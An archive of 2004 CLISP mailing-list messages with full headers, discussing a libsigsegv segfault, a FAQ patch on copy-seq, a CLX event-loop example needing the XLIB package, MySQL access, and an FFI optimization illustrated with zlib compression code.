> Process inferior-lisp segmentation fault > > > It's compiled with libsigsegv-2.1 installed on the system, and > > > recognized by configure: > > > checking how to link with libsigsegv... -lsigsegv > > Please try libsigsegv-2.2-pre1 instead ([1]). Version 2.1 did not support > all MacOS X versions correctly. > > Bruno > > [1] http://www.haible.de/bruno/gnu/libsigsegv-2.2-pre1.tar.gz I'll try to get it, but: 1) I'm running gentoo _Linux_ on my iBook, 2) gentoo has packages only of 2.0 and 2.1 :-( -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From pascal@informatimago.com Mon Aug 30 11:27:30 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1qsF-0001B6-MI for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 11:27:23 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C1qsB-0002GD-Hd for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 11:27:21 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2FD1658CA9; Mon, 30 Aug 2004 20:27:14 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0D0A8483D9; Mon, 30 Aug 2004 20:26:39 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040830182639.0D0A8483D9@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] patch to the faq: self-modifying code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 11:28:01 2004 X-Original-Date: Mon, 30 Aug 2004 20:26:39 +0200 (CEST) I'd suggest to use copy-seq instead of list as the default way to provide a writable copy of a literal list: (let ((var (copy-seq '(a b c)))) (nconc var (list 1 2 3))) instead of: (let ((var (list 'a 'b 'c))) (nconc var (list 1 2 3))) because copy-seq is more general: it may be applied to the immutable result of a lot of Common-Lisp functions. -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From jandrews@lancope.com Mon Aug 30 12:23:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1rkr-0001dR-MT for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:23:49 -0700 Received: from sarge.electric.net ([216.129.90.31]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C1rkq-0001WX-9r for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:23:49 -0700 Received: from root by sarge.electric.net with emc1-ok (Exim 4.24) id 1C1rkn-0001Oi-Tv for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:23:45 -0700 Received: by emcmailer; Mon, Aug 30 2004 12:23:45 -0700 Received: from [209.182.185.10] (helo=lchqmr01.lancope.com) by sarge.electric.net with esmtp (Exim 4.24) id 1C1rkm-0001O0-Tm for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:23:44 -0700 Received: from lchqex01.lancope.local (unknown [10.201.0.21]) by lchqmr01.lancope.com (Postfix) with ESMTP id 3BA00A581 for ; Mon, 30 Aug 2004 14:23:33 +0000 (UTC) Received: from [10.201.3.14] ([10.201.3.14]) by lchqex01.lancope.local with Microsoft SMTPSVC(6.0.3790.0); Mon, 30 Aug 2004 15:23:41 -0400 From: Jeffrey Andrews To: clisp-list@lists.sourceforge.net Content-Type: text/plain Message-Id: <1093893789.6151.16.camel@jandrews-d-01.lancope.local> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 30 Aug 2004 19:23:41.0722 (UTC) FILETIME=[DBE6C7A0:01C48EC6] X-Virus-Status: Scanned by sophos X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] CLX and DRAWABLE-DISPLAY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 12:25:57 2004 X-Original-Date: Mon, 30 Aug 2004 15:23:10 -0400 hello, I am new to CLX and developing X11 with LISP. I've been following a CLX Manual that I found at the CLiki site and tried doing a couple of examples. However, I get a "*** - SYSTEM::%EXPAND-FORM: (DRAWABLE-DISPLAY MW) should be a lambda expression" message back and just to make sure I typed the right thing in, I copy and pasted the example code. I still get the above message. Is there anything I am missing that the CLX manual fails to tell me or perhaps that I misread? My version of CLISP is as follows: GNU CLISP 2.33.2 (2004-06-02) (built on loiso [127.0.0.1]) Platform OS is SuSE 9.1 Kernel 2.6.5-7.104 Thanks very much for the help. Jeff From sds@gnu.org Mon Aug 30 12:39:08 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1rzd-00043m-0K for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:39:05 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C1rzc-0003U1-Ht for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:39:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7UJcp2q028905; Mon, 30 Aug 2004 15:38:52 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeffrey Andrews Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1093893789.6151.16.camel@jandrews-d-01.lancope.local> (Jeffrey Andrews's message of "Mon, 30 Aug 2004 15:23:10 -0400") References: <1093893789.6151.16.camel@jandrews-d-01.lancope.local> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeffrey Andrews Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: CLX and DRAWABLE-DISPLAY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 12:40:04 2004 X-Original-Date: Mon, 30 Aug 2004 15:38:52 -0400 > * Jeffrey Andrews [2004-08-30 15:23:10 -0400]: > > I am new to CLX and developing X11 with LISP. > I've been following a CLX Manual that I found at > the CLiki site and tried doing a couple of examples. > However, I get a > "*** - SYSTEM::%EXPAND-FORM: (DRAWABLE-DISPLAY MW) should be a lambda > expression" > message back and just to make sure I typed the right thing in, I copy > and pasted the example code. I still get the above message. so what did you copy and paste? (and what is the CLiki page URL?) -- Sam Steingold (http://www.podval.org/~sds) running w2k Politically Correct Chess: Translucent VS. Transparent. From jeffrey@quackerjack.com Mon Aug 30 12:45:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1s6E-0005CL-ST for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:45:54 -0700 Received: from conure.mail.pas.earthlink.net ([207.217.120.54]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C1s6E-0001ae-Ag for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:45:54 -0700 Received: from user-37ka43b.dialup.mindspring.com ([207.69.16.107] helo=weizen.quackerjack.com) by conure.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 1C1s6D-0000Qi-00 for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 12:45:53 -0700 Received: from localhost ([192.168.2.10]) by weizen.quackerjack.com (8.12.8/8.12.8) with ESMTP id i7UJjreR003960 for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 15:45:53 -0400 Received: by MailStripper-deliver from with ID:1093895151.3954 X-MailStripper-Score: 0 Received: from [127.0.0.1] (Connected IP 209.182.184.2) by MailStripper 1.2.3 on weizen.quackerjack.com on Mon, 30 Aug 2004 15:45:53 EDT From: Jeff Andrews To: clisp-list@lists.sourceforge.net In-Reply-To: References: <1093893789.6151.16.camel@jandrews-d-01.lancope.local> Content-Type: text/plain Message-Id: <1093895119.6151.21.camel@jandrews-d-01.lancope.local> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , Subject: [clisp-list] Re: CLX and DRAWABLE-DISPLAY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 12:46:09 2004 X-Original-Date: Mon, 30 Aug 2004 15:45:20 -0400 http://www.cliki.net/CLX and the manual it links to is: http://www.stud.uni-karlsruhe.de/~unk6/clxman/ and the section of code is: (If there is a better tutorial, let me know) (defun menu-choose (menu x y) ;; Display the menu so that first item is at x,y. (menu-present menu x y) (let ((items (menu-item-alist menu)) (mw (menu-window menu)) selected-item) ;; Event processing loop (do () (selected-item) (EVENT-CASE ((DRAWABLE-DISPLAY mw) :force-output-p t) (:exposure (count) ;; Discard all but final :exposure then display the menu (when (zerop count) (menu-refresh menu)) t) (:button-release (event-window) ;;Select an item (setf selected-item (second (assoc event-window items))) t) (:enter-notify (window) ;;Highlight an item (menu-highlight-item menu (find window items :key #'first)) t) (:leave-notify (window kind) (if (eql mw window) ;; Quit if pointer moved out of main menu window (setf selected-item (when (eq kind :ancestor) :none)) ;; Otherwise, unhighlight the item window left (menu-unhighlight-item menu (find window items :key #'first))) t) (otherwise () ;;Ignore and discard any other event t))) ;; Erase the menu (UNMAP-WINDOW mw) ;; Return selected item string, if any (unless (eq selected-item :none) selected-item))) On Mon, 2004-08-30 at 15:38, Sam Steingold wrote: > > * Jeffrey Andrews [2004-08-30 15:23:10 -0400]: > > > > I am new to CLX and developing X11 with LISP. > > I've been following a CLX Manual that I found at > > the CLiki site and tried doing a couple of examples. > > However, I get a > > "*** - SYSTEM::%EXPAND-FORM: (DRAWABLE-DISPLAY MW) should be a lambda > > expression" > > message back and just to make sure I typed the right thing in, I copy > > and pasted the example code. I still get the above message. > > so what did you copy and paste? > (and what is the CLiki page URL?) From sds@gnu.org Mon Aug 30 13:48:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C1t4g-0007Ws-Qi for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 13:48:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C1t4e-0001Tp-3i for clisp-list@lists.sourceforge.net; Mon, 30 Aug 2004 13:48:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7UKm92q020657; Mon, 30 Aug 2004 16:48:10 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeff Andrews Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1093895119.6151.21.camel@jandrews-d-01.lancope.local> (Jeff Andrews's message of "Mon, 30 Aug 2004 15:45:20 -0400") References: <1093893789.6151.16.camel@jandrews-d-01.lancope.local> <1093895119.6151.21.camel@jandrews-d-01.lancope.local> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeff Andrews Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , Subject: [clisp-list] Re: CLX and DRAWABLE-DISPLAY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 30 13:49:05 2004 X-Original-Date: Mon, 30 Aug 2004 16:48:10 -0400 > * Jeff Andrews [2004-08-30 15:45:20 -0400]: > > http://www.cliki.net/CLX there is no code for MENU-CHOOSE on this page. > and the manual it links to is: > http://www.stud.uni-karlsruhe.de/~unk6/clxman/ there is no code for MENU-CHOOSE on this page either. > (defun menu-choose (menu x y) > ;; Display the menu so that first item is at x,y. > (menu-present menu x y) > > (let ((items (menu-item-alist menu)) > (mw (menu-window menu)) > selected-item) > > ;; Event processing loop > (do () (selected-item) > (EVENT-CASE ((DRAWABLE-DISPLAY mw) :force-output-p t) > (:exposure > (count) > ;; Discard all but final :exposure then display the menu > (when (zerop count) (menu-refresh menu)) > t) > > (:button-release > (event-window) > ;;Select an item > (setf selected-item (second (assoc event-window items))) > t) > > (:enter-notify > (window) > ;;Highlight an item > (menu-highlight-item menu (find window items :key #'first)) > t) > > (:leave-notify > (window kind) > (if (eql mw window) > ;; Quit if pointer moved out of main menu window > (setf selected-item (when (eq kind :ancestor) :none)) > ;; Otherwise, unhighlight the item window left > (menu-unhighlight-item menu (find window items :key #'first))) > t) > > (otherwise > () > ;;Ignore and discard any other event > t))) > > ;; Erase the menu > (UNMAP-WINDOW mw) > > ;; Return selected item string, if any > (unless (eq selected-item :none) selected-item))) you need to (use-package "XLIB") before evaluating this code. -- Sam Steingold (http://www.podval.org/~sds) running w2k In C you can make mistakes, while in C++ you can also inherit them! From sds@gnu.org Tue Aug 31 14:20:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C2G33-00067b-RJ for clisp-list@lists.sourceforge.net; Tue, 31 Aug 2004 14:20:13 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C2G33-0005yU-5G for clisp-list@lists.sourceforge.net; Tue, 31 Aug 2004 14:20:13 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7VLK3Qe004984 for ; Tue, 31 Aug 2004 17:20:03 -0400 (EDT) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] MySQL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 31 14:21:04 2004 X-Original-Date: Tue, 31 Aug 2004 17:20:03 -0400 Is anyone using MySQL with CLISP? How? Is there a socket-level (as opposed to FFI) interface to MySQL? (similar to pg-dot-lisp http://www.chez.com/emarsden/downloads/) -- Sam Steingold (http://www.podval.org/~sds) running w2k Bill Gates is not god and Microsoft is not heaven. From Joerg-Cyril.Hoehle@t-systems.com Wed Sep 01 08:18:05 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C2Ws8-00085x-Pa for clisp-list@lists.sourceforge.net; Wed, 01 Sep 2004 08:18:04 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C2Ws8-0004os-2O for clisp-list@lists.sourceforge.net; Wed, 01 Sep 2004 08:18:04 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 1 Sep 2004 17:17:53 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 1 Sep 2004 17:16:25 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301542095@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] FFI variable length arrays optimization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 1 08:19:01 2004 X-Original-Date: Wed, 1 Sep 2004 17:16:24 +0200 Hi, CVS-CLISP now contains an optimization that nearly doubles execution = speed for the backquote-based c-type declaration form that typically = appears when dereferencing variable length arrays, e.g. (with-c-var/with-foreign-object (x `(c-array ,(length foo)) ...) Optimizing backquote forms is possible thanks to Kaz Kylheku's = backquote implementation, which provides a defined representation of = backquote forms (like Scheme has), so macros can analyse its structure. For example, I once wrote, for Marc Battyani's compress (part of = CL-PDF): (ffi:def-lib-call-out zlib-compress-string *zlib* ;; DIY: CLISP has (:library ...), not def-lib-call-out (:name "compress") (:arguments (dest ffi:c-pointer :in) (destlen (ffi:c-ptr ffi:ulong) :in-out) (source ffi:c-string) (sourcelen ffi:ulong)) (:return-type ffi:int) (:language :stdc)) (defun compress-string (source) "Compress the string SOURCE. Returns an array of bytes representing the compressed data." (let* ((sourcelen (length source)) (destlen (+ 12 (ceiling (* sourcelen 1.05))))) (ffi:with-c-var (dest `(c-array uint8 ,destlen)) (multiple-value-bind (status actual) (zlib-compress-string (ffi:c-var-address dest) destlen source = sourcelen) (if (zerop status) ;;ffi:cast not usable because of different size... (ffi:offset dest 0 `(c-array uint8 ,actual)) (error "zlib error, code ~d" status)))))) Implementation note: the optimization currently sits inside WITH-C-VAR = and WITH-FOREIGN-OBJECT. This above example using ffi:cast or = ffi:offset shows that a probably better location might be inside = ffi:parse-c-type itself, so FFI:OFFSET/CAST `(c-array ,length) = would benefit as well. Well, probably next round... That would make compress-string quite passable w.r.t. performance. Regards, J=F6rg H=F6hle. From sds@gnu.org Wed Sep 01 12:32:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C2aqW-0006tg-Et for clisp-list@lists.sourceforge.net; Wed, 01 Sep 2004 12:32:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1C2aqU-0001yX-RX for clisp-list@lists.sourceforge.net; Wed, 01 Sep 2004 12:32:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i81JWPCY011739; Wed, 1 Sep 2004 15:32:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301542095@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 1 Sep 2004 17:16:24 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301542095@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: FFI variable length arrays optimization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 1 12:33:13 2004 X-Original-Date: Wed, 01 Sep 2004 15:32:24 -0400 > * Hoehle, Joerg-Cyril [2004-09-01 17:16:24 +0200]: > > CVS-CLISP now contains an optimization that nearly doubles execution > speed for the backquote-based c-type declaration form that typically > appears when dereferencing variable length arrays, e.g. Great! Thanks! > (ffi:def-lib-call-out zlib-compress-string *zlib* > ;; DIY: CLISP has (:library ...), not def-lib-call-out > (:name "compress") > (:arguments (dest ffi:c-pointer :in) > (destlen (ffi:c-ptr ffi:ulong) :in-out) > (source ffi:c-string) > (sourcelen ffi:ulong)) > (:return-type ffi:int) > (:language :stdc)) > > (defun compress-string (source) > "Compress the string SOURCE. Returns an array of bytes > representing the compressed data." > (let* ((sourcelen (length source)) > (destlen (+ 12 (ceiling (* sourcelen 1.05))))) > (ffi:with-c-var (dest `(c-array uint8 ,destlen)) > (multiple-value-bind (status actual) > (zlib-compress-string (ffi:c-var-address dest) destlen source sourcelen) > (if (zerop status) > ;;ffi:cast not usable because of different size... > (ffi:offset dest 0 `(c-array uint8 ,actual)) > (error "zlib error, code ~d" status)))))) this is, unfortunately, asymmetric: you are compressing a string into a byte vector. it would also be nice if COMPRESS accepted an optional argument - where to write the compressed data, instead of allocating a new vector each time (a la READ-SEQUENCE) -- Sam Steingold (http://www.podval.org/~sds) running w2k An elephant is a mouse with an operating system. From Mailer-Daemon@semikron.com Wed Sep 01 20:02:55 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C2hsB-0008Mg-H1 for clisp-list@lists.sourceforge.net; Wed, 01 Sep 2004 20:02:51 -0700 Received: from mx.odn.de ([212.34.160.79]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1C2hs9-0004DP-DD for clisp-list@lists.sourceforge.net; Wed, 01 Sep 2004 20:02:51 -0700 Received: from denue01lnx01.skd.semikron.com ([212.34.190.165]) by mx.odn.de (8.12.10/8.12.9) with ESMTP id i8232kpO031702 for ; Thu, 2 Sep 2004 05:02:46 +0200 Received: from semikron.com (denue01lnx04.skd.semikron.com [172.16.1.90]) by denue01lnx01.skd.semikron.com (8.12.7/8.12.7/SuSE Linux 0.6) with ESMTP id i8232j3n031731 for ; Thu, 2 Sep 2004 05:02:45 +0200 Received: from GW_SKD-MTA by semikron.com with Novell_GroupWise; Thu, 02 Sep 2004 05:02:45 +0200 Message-Id: X-Mailer: Novell GroupWise Internet Agent 6.0.3 From: "Issam Abu-Sinneh" Reply-To: Issam.Abu-Sinneh@semikron.com To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Antw: Re: Its me (Urlaub/Vacation) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , 